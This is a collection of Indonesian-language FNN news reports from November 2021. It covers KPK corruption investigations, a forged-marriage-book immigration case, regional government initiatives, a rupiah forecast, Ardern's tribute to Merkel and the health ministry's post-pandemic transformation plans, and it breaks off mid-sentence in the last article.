Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengusut peran mantan Gubernur Kepulauan Riau Nurdin Basirun dalam kasus korupsi pengaturan barang kena cukai dalam pengelolaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Tahun 2016—2018. KPK memeriksa Nurdin sebagai saksi untuk tersangka Bupati Bintan nonaktif Apri Sujadi (AS) di Lapas Sukamiskin, Bandung, Kamis (11/11), dalam penyidikan kasus tersebut. "Tim penyidik mengonfirmasi terkait dengan peran saksi yang turut menyetujui usulan tersangka AS dalam menentukan pihak-pihak yang tergabung dalam BP Bintan (Badan Pengusahaan Kawasan Bintan Wilayah Kabupaten Bintan)," kata Plt. Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya di Jakarta, Jumat. Nurdin saat ini sedang menjalani pidana penjara di Lapas Sukamiskin terkait dengan perkara suap izin prinsip dan izin lokasi pemanfaatan laut, proyek reklamasi di wilayah pesisir, dan pulau kecil di Kepulauan Riau pada tahun 2018/2019. Selain Nurdin, KPK juga memeriksa tiga saksi lainnya untuk tersangka Apri di Gedung Polres Tanjungpinang, Kamis (11/11), yakni Wali Kota Tanjungpinang 2013—2018 Lis Darmansyah, Syamsul Bahrum selaku Asisten II Bidang Ekonomi Pemerintah Provinsi Kepulauan Riau, Sekretaris Dewan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan dan Sekretaris Dewan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Karimun, dan Norman dari pihak swasta. "Para saksi hadir dan didalami pengetahuannya, antara lain terkait dengan beberapa perusahaan yang mendapatkan izin kuota rokok dan minuman alkohol di BP Bintan yang diduga telah mendapat persetujuan dari tersangka AS dan kawan-kawan serta dugaan aliran uang yang diterima oleh tersangka AS atas persetujuan dimaksud," kata Ipi. Selain Apri, KPK juga telah menetapkan Plt. Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Mohd Saleh H. Umar (MSU) sebagai tersangka. Keduanya disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 juncto Pasal 55 ayat (1) ke-1 KUHP. Apri diduga menerima sekitar Rp6,3 miliar dan Mohd Saleh menerima sekitar Rp800 juta. Dalam konstruksi perkara, KPK menjelaskan bahwa BP Bintan pada tahun 2017 menerbitkan kuota rokok sebanyak 305.876.000 batang (18.500 karton) dan kuota minuman mengandung etil alkohol (MMEA). Diduga dari kedua kuota tersebut ada distribusi jatah bagi Apri sebanyak 15.000 karton, Mohd Saleh sebanyak 2.000 karton, dan pihak lainnya sebanyak 1.500 karton. Pada bulan Februari 2018, Apri memerintahkan Kepala Bidang Perizinan BP Bintan Alfeni Harmi dan diketahui oleh Mohd Saleh untuk menambah kuota rokok BP Bintan pada tahun 2018 dari hitungan awal sebanyak 21.000 karton sehingga total kuota rokok dan kuota MMEA yang ditetapkan BP Bintan pada tahun 2018 sebanyak 452.740.800 batang (29.761 karton). Selanjutnya dilakukan distribusi jatah di mana untuk Apri sebanyak 16.500 karton, Mohd Saleh 2.000 karton, dan pihak lainnya sebanyak 11.000 karton. KPK menduga perbuatan para tersangka mengakibatkan kerugian keuangan negara sekitar Rp250 miliar. (sws)

Warga Negara Yaman Palsukan Buku Nikah Dipidana dua Tahun Penjara

Jakarta, FNN - Seorang warga negara Yaman berinisial MHAS terbukti memalsukan buku nikah untuk mendapatkan izin tinggal di Tanah Air sehingga dipidana dua tahun sembilan bulan kurungan penjara serta denda Rp300 juta dan subsider satu bulan penjara. "Dalam putusan yang dibacakan oleh majelis hakim Pengadilan Negeri Jakarta Utara, MHAS terbukti bersalah secara sah dan meyakinkan melakukan pelanggaran terhadap Pasal 123 huruf (a) Undang-Undang Nomor 6 Tahun 2011 tentang Keimigrasian," kata Kepala Bagian Humas dan Umum Direktorat Jenderal (Ditjen) Imigrasi Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Arya Pradhana Anggakara melalui keterangan tertulis yang diterima di Jakarta, Jumat. Lebih detail, warga negara asal Yaman tersebut terbukti melanggar Undang-Undang Keimigrasian mengenai pemberian surat atau data palsu, atau yang dipalsukan atau keterangan tidak benar secara sengaja dengan maksud memperoleh visa atau izin tinggal bagi dirinya sendiri, kata Arya Pradhana Anggakara. Kasus ini bermula saat petugas imigrasi Kantor Imigrasi Kelas I Jakarta Pusat dihubungi oleh anggota Tim Pengawasan Orang Asing (Timpora) di Kantor Kedutaan Besar (Kedubes) Yaman. Setelah dilakukan pengecekan, diketahui paspor MHAS berada di Kantor Imigrasi Serang untuk permohonan alih status dari izin tinggal terbatas (ITAS) penyatuan keluarga ke izin tinggal tetap (ITAP) pada 27 Oktober 2020. Namun, MHAS juga tercatat dalam Daftar Pencarian Orang (DPO) Sub Direktorat Penyidikan Ditjen Imigrasi. "Saat itu petugas di Kantor Imigrasi Serang curiga karena rentang waktu pengajuan alih status izin tinggal yang terlalu dekat dengan izin tinggal sebelumnya," ungkap dia. Berdasarkan hasil pemeriksaan lebih jauh, diketahui pernikahan MHAS tersebut tidak tercatat di register Kantor Urusan Agama (KUA) Kecamatan Tanjung Priok Jakarta Utara. Terdapat beberapa kejanggalan pada buku nikah yang ditunjukkan oleh MHAS antara lain tidak terdaftarnya nomor registrasi yang tercantum, penulisan masih menggunakan tangan, serta ketidaksesuaian stempel KUA dan tanda tangan Kepala KUA. MHAS telah ditahan di ruang Detensi Imigrasi Ditjen Imigrasi sejak 6 April 2021 dan dibatalkan izin tinggalnya pada hari yang sama. Setelah berkas perkara dinyatakan lengkap, MHAS ditahan oleh jaksa di Rutan Cipinang pada 16 Agustus 2021 dan sidang pertama terhadap MHAS dilakukan pada 16 September 2021. (sws)

KPK Konfirmasi Tujuh Saksi Pengaturan Proyek Dinas PUPR Musi Banyuasin

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi tujuh saksi mengenai dugaan adanya pengaturan proyek di Dinas PUPR Kabupaten Musi Banyuasin, Sumatera Selatan. KPK, Kamis (11/11) memeriksa mereka untuk tersangka Bupati Musi Banyuasin nonaktif Dodi Reza Alex Noerdin (DRA) dan kawan-kawan dalam penyidikan kasus dugaan pengadaan barang dan jasa di Kabupaten Musi Banyuasin Tahun Anggaran 2021. Pemeriksaan dilakukan di Satbrimobda Sumatera Selatan "Dikonfirmasi antara lain terkait dengan dugaan adanya perintah dan pengaturan dari tersangka DRA kepada tersangka HM serta pihak lainnya di Dinas PUPR Pemkab Musi Banyuasin agar memenangkan perusahaan milik tersangka SUH dan pihak rekanan lainnya dengan adanya penyetoran sejumlah 'fee'," kata Plt Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya di Jakarta, Jumat. Tujuh saksi, yakni Kasi Penatagunaan Sumber Daya Air Bidang Sumber Daya Air Dinas PUPR Kabupaten Musi Banyuasin Dian Pratnamas Putra, Kepala Bagian Pengadaan Barang dan Jasa Pemkab Musi Banyuasin Daud Amri, Yuswanto dari pihak swasta, Septian Aditya selaku honorer serta tiga PNS Pemkab Musi Banyuasin Hendra Oktariza, Hardiansyah, dan Suhendro Saputra. Selain pemeriksaan di Sumatera Selatan, KPK juga memeriksa saksi Soesilo Ariwibowo selaku penasihat hukum di Gedung KPK, Jakarta, Kamis (11/11). "Tim penyidik mengonfirmasi yang bersangkutan antara lain terkait dengan barang bukti yang ditemukan dan diamankan pada saat dilakukan penangkapan tersangka DRA," ucap Ipi. Selain Dodi, KPK juga menetapkan tiga tersangka lainnya, yakni Kepala Dinas PUPR Kabupaten Musi Banyuasin Herman Mayori (HM), Kabid Sumber Daya Air (SDA)/Pejabat Pembuat Komitmen (PPK) Dinas PUPR Kabupaten Musi Banyuasin Eddi Umari (EU), dan Direktur PT Selaras Simpati Nusantara Suhandy (SH). KPK menjelaskan Pemkab Musi Banyuasin untuk Tahun 2021 akan melaksanakan beberapa proyek yang dananya bersumber dari APBD, APBD-P TA 2021 dan Bantuan Keuangan Provinsi (bantuan gubernur) di antaranya pada Dinas PUPR Kabupaten Musi Banyuasin. Untuk melaksanakan berbagai proyek dimaksud, diduga telah ada arahan dan perintah dari Dodi kepada Herman, Eddi, dan beberapa pejabat lain di Dinas PUPR Kabupaten Musi Banyuasin agar dalam proses pelaksanaan lelangnya direkayasa sedemikian rupa. Di antaranya dengan membuat daftar paket pekerjaan dan telah pula ditentukan calon rekanan yang akan menjadi pelaksana pekerjaan tersebut. Selain itu, Dodi juga telah menentukan adanya persentase pemberian "fee" dari setiap nilai proyek paket pekerjaan di Kabupaten Musi Banyuasin, yaitu 10 persen untuk Dodi, 3-5 persen untuk Herman, dan 2-3 persen untuk Eddi serta pihak terkait lainnya. Untuk Tahun Anggaran 2021 pada Bidang Sumber Daya Air Dinas PUPR Kabupaten Musi Banyuasin, perusahaan milik Suhandy menjadi pemenang dari empat paket proyek. Total komitmen "fee" yang akan diterima oleh Dodi dari Suhandy dari empat proyek tersebut sekitar Rp2,6 miliar. Sebagai realisasi pemberian komitmen "fee" oleh Suhandy atas dimenangkannya empat proyek paket pekerjaan di Dinas PUPR tersebut, diduga Suhandy telah menyerahkan sebagian uang tersebut kepada Dodi melalui Herman dan Eddi. Dalam kegiatan tangkap tangan di Kabupaten Musi Banyuasin, KPK turut mengamankan uang Rp270 juta. Uang itu diduga telah disiapkan oleh Suhandy yang nantinya akan diberikan pada Dodi melalui Herman dan Eddi. Selain itu di Jakarta, KPK juga mengamankan uang Rp1,5 miliar dari ajudan Dodi Reza. KPK bakal menelusuri lebih lanjut asal uang tersebut. (sws)

Polri Susun Petunjuk Arah Berantas Mafia Pelabuhan

Jakarta, FNN - Badan Reserse Kriminal (Bareskrim) Polri menyusun petunjuk arahan (jukrah) bagi anggota untuk menjalankan tugas dalam memberantas mafia pelabuhan yang mengakibatkan hilangnya potensi penerimaan negara (korupsi). Penyusunan jukrah bagi anggota Polri jajaran dalam rangka menindaklanjuti permintaan Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Panjaitan, yang meminta Polri, KPK dan Kejaksaan memberantas mafia pelabuhan. "Sedang kita susun jukrah ke jajaran dengan penekanan kembali permintaan Bapak Menko Marinves," kata Kabareskrim Polri Komjen Agus Andrianto saat dikonfirmasi di Jakarta, Jumat. Menurut Agus, sembari menyusun jukrah, pihaknya tidak tinggal diam dalam menindak mafia pelabuhan dengan melakukan pengawasan praktik kecurangan yang berdampak ekonomi biaya tinggi di pelabuhan. Tetapi, lanjut dia, penindakan tersebut dilakukan setelah ada pelaporan dari pelaku usaha yang mengalaminya. "Sementara kegiatan pengawasan praktik kecurangan yang berdampak ekonomi biaya tinggi di pelabuhan juga dilakukan, lebih kepada adanya laporan dulu dari pelaku usaha yang mengalami," terangnya. Sebelumnya, Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Panjaitan meminta KPK, Polri dan Kejaksaan bersama kementeriannya bekerja sama untuk mengatasi layanan tumpah tindih di pelabuhan yang berpotensi terjadi korupsi. "Berdasarkan hasil tinjauan lapangan oleh tim Stranas PK dan Kemenko Marves saya mendapat laporan masih terdapat sistem pelayanan yang tumpang tindih karena adanya dual sistem Inaportnet dan KSOP dan pelayanan kapal barang di pelabuhan," kata Luhut. Stranas PK dibentuk sesuai dengan Peraturan Presiden (Perpres) No 54 Tahun 2018 yang kemudian diperkuat lagi dengan Surat Keputusan Bersama yang ditandatangani oleh lima kementerian dan lembaga yang tergabung dalam Tim Nasional Stranas PK, yaitu Komisi Pemberantasan Korupsi, Kantor Staf Presiden, Kementerian PPN/Bappenas, Kementerian PAN-RB, dan Kementerian Dalam Negeri. Upaya pencegahan korupsi yang dilakukan oleh Stranas PK memiliki tiga fokus utama yaitu Perizinan dan Tata Niaga, Keuangan Negara dan Reformasi Birokrasi serta Penegakan Hukum. (sws)

Ketua DPR Serap Aspirasi Nelayan Banyuwangi

Jakarta, FNN - Ketua DPR RI Puan Maharani melakukan kunjungan kerja ke Banyuwangi, Jawa Timur, pada Jumat untuk menyerap aspirasi para nelayan di wilayah tersebut, salah satunya terkait keluhan mengenai bahan bakar minyak yang murah untuk melaut. "Saya memahami persoalan BBM untuk nelayan karena merupakan komponen biaya utama untuk melaut apalagi di masa pandemi," kata Puan dalam keterangannya di Jakarta, Jumat. Hal itu dikatakan Puan menanggapi keluhan salah satu nelayan bernama Rahmat Sukardi yang menyampaikan keluhannya karena dilarang membeli Pertalite oleh SPBU Pertamina, padahal masih membutuhkan BBM murah. Hadir dalam dialog langsung dengan nelayan tersebut antara lain Menteri Kelautan dan Perikanan (KKP), Sakti Wahyu Trenggono, dan Menteri Pemberdayaan Perempuan dan Perlindungan Anak (PPPA), I Gusti Ayu Bintang Darmawati, Bupati Banyuwangi Ipuk Fiestiandani Azwar Anas, dan jajaran anggota DPR RI. Menanggapi keluhan nelayan tersebut, Puan meminta pemerintah memberi akses BBM murah kepada nelayan, dan permintaan itu disampaikan langsung kepada Menteri Trenggono yang hadir. "Bagaimana Pak Menteri? Ini mumpung ada menterinya," ujar Puan. Menteri Trenggono menyatakan pihaknya siap memberi BBM murah untuk nelayan, khususnya di Banyuwangi dan akan disalurkan melalui koperasi-koperasi nelayan. Dalam dialog tersebut Puan mengaku gembira mendengar semangat para istri nelayan yang semangat membantu suami mencukupi kebutuhan hidup. "Saya senang ini lihat istri nelayan yang bersemangat meningkatkan kemampuan untuk mendapatkan penghasilan. Bu Menteri PPA dan Bupati Banyuwangi segera adakan pelatihan buat mereka," tuturnya. Dia juga menyatakan terima kasih kepada para nelayan yang terbuka menyampaikan keluhan dan "unek-unek", serta dirinya bisa melihat langsung permasalahan nelayan Banyuwangi dan daerah-daerah lain. "Karena itu saya bawa Menteri KKP dan anggota-anggota DPR agar bisa segera diselesaikan," ujarnya. Sebelum berdialog dengan para nelayan, Puan mengunjungi vaksinasi untuk keluarga nelayan dan juga meninjau Pasar Ikan Segar Mandar. Dia menilai Pasar Ikan Segar Mandar bersih dan menghilangkan kesan kumuh yang selama ini melekat tentang pasar ikan. Selain itu Puan juga menyempatkan diri berbincang dengan para pedagang di pasar ikan tersebut. Menurut dia, kegiatan di pasar ikan tersebut membuat ekonomi bergulir karena terdapat efek domino dalam kegiatan di pasar. "Ini membuat ekonomi bergulir. Bukan hanya nelayan saja yang dapat penghasilan, tapi penjual beras, penjual sayur dan tukang masak ikut kebagian rejeki," katanya. Puan juga menemui para perajin alat tangkap ikan dan ikut mencoba merajut jaring ikan dan memberikan sejumlah bantuan, antara lain berupa paket alat tangkap benih, bantuan permodalan perikanan tangkap, dan paket bakti nelayan (sembako) sebanyak 1.500 paket. (sws)

Pemda Se-Babel Sepakat Percepat Replikasi Inovasi Pelayanan Publik

Belitung, FNN - Pemerintah Daerah se-Provinsi Kepulauan Bangka Belitung menandatangani komitmen replikasi inovasi pelayanan publik, sebagai percepatan peningkatan kualitas pelayanan publik dan reformasi birokrasi. "Komitmen yang ditandatangani ini bukan sekadar seremoni, tetapi untuk segera bisa diterapkan sehingga manfaatnya cepat dirasakan masyarakat," kata Gubernur Kepulauan Babel Erzaldi Rosman Djohan usai penandatanganan komitmen replikasi inovasi pelayanan publik di Belitung, Jumat. Ia mengatakan penandatanganan komitmen ini merupakan puncak acara replikasi inovasi pelayanan publik dan diharapkan kepada Pemkab Bangka, Bangka Barat, Bangka Tengah, Bangka Selatan, Belitung, Belitung Timur dan Pemkot Pangkalpinang yang menerapkan program replikasi inovasi pelayanan publik untuk segera membuat rencana aksi. "Ini merupakan bukti komitmen pemerintah provinsi dan kabupaten/kota dalam melaksanakan replikasi inovasi secara terkoordinir dan bersinergi, serta wujud dukungan terhadap pembangunan inovasi di daerah masing-masing secara terintegrasi dan berkelanjutan," ujarnya. Menurut dia ciri daerah yang maju adalah daerah yang memiliki daya saing tinggi. Adapun untuk mewujudkan daerah yang berdaya saing perlu adanya sumber daya manusia (SDM) yang handal, kreatif dan inovatif. "Implementasi gagasan baru baik inovasi birokrasi guna percepatan peningkatan kualitas pelayanan publik dan reformasi birokrasi," katanya. Penandatanganan komitmen replikasi inovasi pelayanan publik dilakukan oleh seluruh kepala daerah kabupaten/kota se-Babel, nampak hadir Bupati Bangka Barat Sukirman, Bupati Belitung Sahani Saleh, Bupati Belitung Timur Burhanuddin, Wakil Bupati Bangka Tengah Herry Erfian, sementara Kota Pangkalpinang, Kabupaten Bangka, dan Kabupaten Bangka Selatan hanya diwakili oleh perwakilannya. Berdasarkan penyusunan rencana aksi pelaksanaan replikasi berdasarkan kebutuhan dan kesesuaian masing-masing daerah, yaitu Pemprov Babel 3 inovasi, Kota Pangkalpinang 2 inovasi, Kabupaten Bangka 5 inovasi, Kabupaten Bangka Barat 4 inovasi, Kabupaten Bangka Tengah 2 inovasi, Kabupaten Bangka Selatan 1 inovasi, Kabupaten Belitung 3 inovasi, dan Kabupaten Belitung Timur 3 inovasi. (sws)

Nagan Raya Aceh Meluncurkan Aplikasi Sistem Informasi Data

Suka Makmue, FNN - Pemerintah Kabupaten Nagan Raya Provinsi Aceh, meluncurkan aplikasi Sistem Informasi Update Data Pembangunan Nagan Raya (Siat Penagaya) dan aplikasi cetak Surat Pemberitahuan Kenaikan Gaji Berkala (Superkagala). Sekretaris Daerah Kabupaten Nagan Raya Ardimartha, dalam keterangan tertulis diterima ANTARA, Jumat mengatakan, pemerintah mendukung peluncuran kedua aplikasi tersebut guna memudahkan layanan kepada masyarakat termasuk aparatur sipil negara. “Tujuan peluncuran aplikasi ini untuk memudahkan pemerintahan daerah dalam memantau data pembangunan daerah maupun masyarakat, untuk keperluan data pembangunan daerah,” katanya. Selain itu, kehadiran dua aplikasi tersebut diharapkan pelaksanaan tugas dan fungsi masing masing instansi pemerintah dapat berjalan efektif untuk mencapai kinerja yang baik. Ardimartha menambahkan aplikasi Superkagala dirancang oleh Nasrun ST dari Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kabupaten Nagan Raya. Aplikasi tersebut dilakukan dalam program pelatihan dan kepemimpinan pengawas (PKP) angkatan I tahun 2021. Tujuan menciptakan aplikasi ini oleh Nasrun, kata Sekda, bertujuan untuk mewujudkan peningkatan kualitas layanan administrasi kepegawaian, khususnya layanan kenaikan gaji berkala. Karena pada layanan kenaikan gaji berkala sebelumnya diusulkan secara manual oleh PNS yang bersangkutan dengan melengkapi berkas persyaratan yang lumayan banyak. Dengan lahirnya aplikasi ini layanan kenaikan gaji berkala cukup diisi melalui aplikasi Superkagala dan PNS tidak perlu lagi menyiapkan berkas, karena data PNS sudah dimutakhirkan dalam database aplikasi. Sedangkan aplikasi Siat Penagaya dicanangkan oleh Syarizal Budian Putra, ST dari Bappeda Kabupaten Nagan Raya dalam program pelatihan dan kepemimpinan pengawas (PKP) angkatan I tahun 2021. Tujuan aplikasi tersebut, kata sekda, untuk pemutakhiran data pembangunan Nagan Raya secara online, serta dapat juga digunakan untuk memberikan layanan informasi publik terkait data pembangunan Nagan Raya, jelasnya. (sws)

Bupati Aceh Barat Minta Remaja Masjid Jadi Penangkal Paham Radikal

Meulaboh, FNN - Bupati Aceh Barat Haji Ramli MS meminta kepada seluruh remaja masjid di daerahnya, agar mampu menjadi garda terdepan dalam menangkal paham-paham radikal yang dapat merusak akidah dan rasa nasionalisme umat islam. "Amalkanlah ajaran Islam sejati yaitu islam moderat yang mengedepankan kesejukan, perdamaian dan toleransi, namun tetap tegas dalam penegakan syariat islam," kata Ramli MS di Meulaboh, Jumat. Menurutnya, selain mempelajari ilmu agama, remaja masjid juga harus mendapatkan penguatan pemahaman terhadap nilai-nilai Pancasila, sehingga nantinya diharapkan dapat mewujudkan generasi muda Aceh Barat yang Islami dan Pancasilais. "Bekerjalah dengan ikhlas dan profesional semata-mata hanya ingin mendapatkan ridha Allah SWT demi terwujudnya syariat islam yang kaffah di Kabupaten Aceh Barat ini pungkas Ramli MS Ia juga menegaskan dengan adanya pembekalan ilmu yang memadai, remaja masjid bisa menjadi motivator bagi masyarakat untuk memakmurkan masjid-masjid yang ada di Kabupaten Aceh Barat. "Remaja masjid merupakan tulang punggung dalam menggerakkan masyarakat untuk mencintai masjid,” imbuh Ramli MS. Ia mengatakan, remaja masjid mempunyai peran yang sangat penting dalam upaya untuk memakmurkan setiap masjid, baik yang ada di tingkat gampong, kecamatan maupun kabupaten. Menurutnya, di usia yang masih produktif, remaja masjid memiliki semangat dan kapasitas untuk mengajak masyarakat datang ke mesjid dengan berbagai kreativitas yang dimiliki. Untuk itu, kata Ramli MS, perlu ada peningkatan kapasitas bagi para remaja mesjid tersebut, agar peran dan fungsinya bisa lebih di optimalkan lagi dalam mengajak masyarakat khususnya generasi milenial untuk mencintai rumah Allah SWT. Dengan adanya ilmu yang memadai, Ramli MS berharap remaja masjid bisa menyalurkan energi positif kepada masyarakat, dengan berbagai kegiatan keagamaan seperti majelis taklim dan kegiatan perlombaan islami, guna menumbuhkan kesadaran masyarakat akan pentingnya mesjid dalam menjaga ukhuwah islamiyah di tengah era globalisasi saat ini. "Seorang remaja masjid harus mampu menjadi imam, muazin, dan pendakwah, serta menjaga tingkah lakunya dalam menumbuhkan kecintaan masyarakat terhadap masjid dan syariat islam" tegas Ramli MS. (sws)

KPK Konfirmasi Mantan Bupati Tabanan Soal Persetujuan Pengurusan DID

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi mantan Bupati Tabanan Ni Putu Eka Wiryastuti perihal persetujuannya dalam pengurusan Dana Insentif Daerah (DID) untuk Kabupaten Tabanan, Bali Tahun 2018. KPK memeriksa Ni Putu Eka Wiryastuti di Gedung KPK, Jakarta, Kamis (11/11) sebagai saksi dalam penyidikan kasus dugaan korupsi pengurusan DID Kabupaten Tabanan, Bali. "Tim penyidik telah memeriksa saksi Ni Putu Eka Wiryastuti (Bupati Tabanan periode 2016-2021), yang bersangkutan hadir dan dikonfirmasi antara lain terkait dengan persetujuan saksi dalam pengurusan DID untuk Kabupaten Tabanan Tahun 2018," ucap Plt Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya di Jakarta, Jumat, 12 November 2021. KPK saat ini sedang mengusut kasus dugaan korupsi pengurusan DID Kabupaten Tabanan tersebut. Namun, KPK belum dapat menyampaikan secara utuh konstruksi perkara dari hasil penyidikan, pasal yang disangkakan, dan pihak-pihak yang telah ditetapkan sebagai tersangka. Adapun pengumuman tersangka akan disampaikan apabila penyidikan telah dinyatakan cukup dan dilakukan upaya paksa baik penangkapan maupun penahanan para tersangka. Sebelumnya pada Jumat, 5 November 2021, KPK juga telah memeriksa I Dewa Nyoman Wiratmaja selaku Dosen Fakultas Ekonomi dan Bisnis Universitas Udayana/Staf Khusus Bidang Pembangunan dan Ekonomi Pemkab Tabanan/Staf Khusus Bupati Tabanan periode 2016-2021. KPK mengonfirmasi saksi tersebut mengenai usulan dan pengurusan DID untuk Kabupaten Tabanan. Selain itu, juga dikonfirmasi dugaan adanya komunikasi intensif untuk pengurusan DID tersebut dengan pihak-pihak yang terkait dengan kasus. Terkait kasus tersebut, KPK sebelumnya telah memproses mantan Kepala Seksi Pengembangan Pendanaan Kawasan Perumahan dan Pemukiman Direktorat Evaluasi Pengelolaan dan Informasi Keuangan Daerah, Direktorat Jenderal Perimbangan Keuangan Kementerian Keuangan Yaya Purnomo. Pada Februari 2019, Yaya Purnomo telah divonis 6,5 tahun penjara ditambah denda Rp 200 juta subsider 1 bulan dan 15 hari kurungan karena terbukti menerima suap dan gratifikasi dalam pengurusan Dana Alokasi Khusus (DAK) dan DID di sembilan kabupaten. Salah satunya adalah DID APBN Tahun Anggaran 2018 untuk Kabupaten Tabanan. (MD).

Rupiah Jelang Akhir Pekan Diprediksi Masih Melemah

Jakarta, FNN - Nilai tukar (kurs) rupiah yang ditransaksikan antarbank di Jakarta jelang akhir pekan diprediksi masih akan melemah, seiring dengan membaiknya data inflasi Amerika Serikat (AS). Rupiah pagi ini masih menguat 23 poin atau 0,16 persen ke posisi Rp14.255 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp14.278 per dolar AS. "Pelemahan rupiah sudah terjadi sejak hari Rabu. Sentimen negatif bagi rupiah terlihat datang dari pelaku pasar internasional yang mulai kembali melakukan pembelian dolar AS," kata Analis Indonesia Commodity and Derivatives Exchange (ICDX) Nikolas Prasetia saat dihubungi di Jakarta, Jumat. Menurut Nikolas, pelaku pasar sudah mulai menyerap sentimen positif dari pemangkasan stimulus, ditambah dengan data inflasi AS yang membaik. "Sentimen penguatan dolar AS ini kelihatannya masih akan bertahan hingga sesi perdagangan hari ini selesai," ujar Nikolas. Dari domestik, jumlah kasus harian COVID-19 pada Kamis (11/11) kemarin mencapai 435 kasus sehingga total jumlah kasus terkonfirmasi positif COVID-19 mencapai 4,25 juta kasus. Sedangkan jumlah kasus meninggal akibat terpapar COVID-19 mencapai 16 kasus sehingga totalnya mencapai 143.608 kasus. Adapun untuk jumlah kasus sembuh bertambah sebanyak 470 kasus sehingga total pasien sembuh mencapai 4,1 juta kasus. Dengan demikian, total kasus aktif COVID-19 mencapai 9.486 kasus. Untuk vaksinasi, jumlah masyarakat yang sudah disuntik vaksin dosis pertama mencapai 128,15 juta orang dan vaksin dosis kedua 81,71 juta orang dari target 208 juta orang yang divaksin. Nikolas mengatakan rupiah hari ini cenderung melemah dan bergerak di kisaran Rp14.250 per dolar AS hingga Rp14.350 per dolar AS. Pada Kamis (11/11) rupiah ditutup melemah 24 poin atau 0,17 persen ke posisi Rp14.278 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp14.254 per dolar AS. (mth)

Ardern Puji Merkel sebagai "Pemimpin Sejati", "Orang yang Sangat Baik"

Auckland, FNN - Perdana Menteri Selandia Baru Jacinda Ardern pada Jumat memberikan penghormatan kepada kanselir Jerman Angela Merkel dengan memuji kepemimpinannya selama 16 tahun di negara ekonomi terbesar Eropa itu dan menggambarkannya sebagai "orang yang sangat baik". Jacinda Ardern dan Angela Merkel bertemu secara virtual di forum CEO di sela-sela konferensi tingkat tinggi Kerjasama Ekonomi Asia-Pasifik (APEC). Pada kesempatan itu, Ardern mengenang pertemuan awalnya dengan Merkel di Jerman. "Ketika Anda berasal dari negara kepulauan kecil, Anda tidak sering bertemu dengan seseorang yang begitu kuat di dunia diplomasi internasional yang merasa sangat tertarik dengan pandangan orang Selandia Baru yang sederhana," kenang Ardern. "Keterlibatan Anda yang terus menerus dengan dunia, perhatian dan kesediaan Anda untuk mendengar perspektif orang lain, menurut saya, adalah cerminan dari seorang pemimpin sejati dan juga orang yang sangat baik," ujar Ardern memuji Merkel. Merkel, 67 tahun, telah mengukuhkan dirinya sebagai ikon yang telah membawa Jerman sejak 2005 melewati berbagai peristiwa penting, seperti krisis keuangan global, penurunan zona euro dan pandemi COVID-19, dan dipuji sebagai kampiun dalam integrasi Eropa. Ardern, 41 tahun, menjadi perdana menteri termuda Selandia Baru ketika dia menjabat pada 2017. Dia menuai pujian global dalam beberapa tahun terakhir dalam upayanya mengelola pandemi, menindak ekstremisme dan undang-undang senjata setelah penembakan massal, dan membentuk salah satu kabinet paling beragam di dunia. Pada awal November, Presiden Prancis Emmanuel Macron memberi Merkel salam perpisahan yang penuh gaya dan memujinya karena menjaga Eropa tetap bersatu selama masa jabatannya. Para pemimpin APEC yang bergabung dalam forum sepakat bahwa pandemi dan perubahan iklim merupakan tantangan serupa karena keduanya merupakan proses eksponensial yang tingkat keparahannya sulit dikenali pada awal kurva pertumbuhan. (mth)

Enam Layanan Kesehatan Bertransformasi Hadapi Wabah di Masa Depan

Jakarta, FNN - Menteri Kesehatan RI Budi Gunadi Sadikin mengemukakan pandemi COVID-19 membuka kesempatan bagi Indonesia untuk bertransformasi menuju arsitektur sistem kesehatan yang lebih siap menghadapi wabah di masa depan. "Setiap pandemi menjatuhkan korban, tapi setiap pandemi juga membuka kesempatan bagi bangsa dan negara untuk menyempurnakan sistem kesehatan," kata Budi Gunadi Sadikin dalam pidato Hari Kesehatan Nasional (HKN) ke-57/2021 di Ruang Pertemuan Siwabessy, Gedung Sujudi, Kementerian Kesehatan, yang diikuti dari YouTube Kemenkes RI di Jakarta, Jumat. Kementerian Kesehatan sudah mencanangkan transformasi kesehatan yang meliputi enam bidang pelayanan publik. Transformasi pertama menyasar layanan primer, dimana seluruh Puskesmas, klinik yang ada di pelosok Indonesia meningkatkan pelayanan promotif dan preventif. Kedua, transformasi pada layanan rujukan rumah sakit untuk membuka akses yang lebih luas dan berkualitas. "Sehingga, seluruh rakyat Indonesia yang sakit bisa dengan mudah mendapatkan layanan dengan kualitas yang baik tanpa perlu antre lama, tanpa perlu pergi ke luar negeri," katanya. Transformasi ketiga, kata Budi, merambah pada sistem ketahanan kesehatan. "Indonesia sebagai negara yang dikaruniai sumber daya alam melimpa, tetapi juga sering mengalami bencana, baik bencana alam maupun bencana non-alam yang memberikan korban cukup banyak pada rakyat kita,"ucapnya. Untuk itu, Kemenkes RI mendorong sistem ketahanan kesehatan yang selalu siap dan siaga menghadapi bencana serta melayani rakyat yang menjadi korban bencana. Transformasi sistem pembiayaan kesehatan menjadi transformasi keempat untuk menciptakan pembiayaan yang berkesinambungan serta masuk akal dalam memberikan layanan yang adil dan merata ke seluruh rakyat Indonesia. Kelima, menurut Budi, bidang sumber daya kesehatan. "Kita harus akui, masih banyak rakyat kita yang belum bisa mendapatkan akses ke dokter, masih banyak rakyat kita yang di pelosok dilayani oleh tenaga kesehatan yang seharusnya belum memenuhi level standar yang kita inginkan," ujarnya. Budi mengatakan jumlah tenaga kesehatan, sebaran tenaga kesehatan dan kualitas dari tenaga kesehatan harus dipastikan 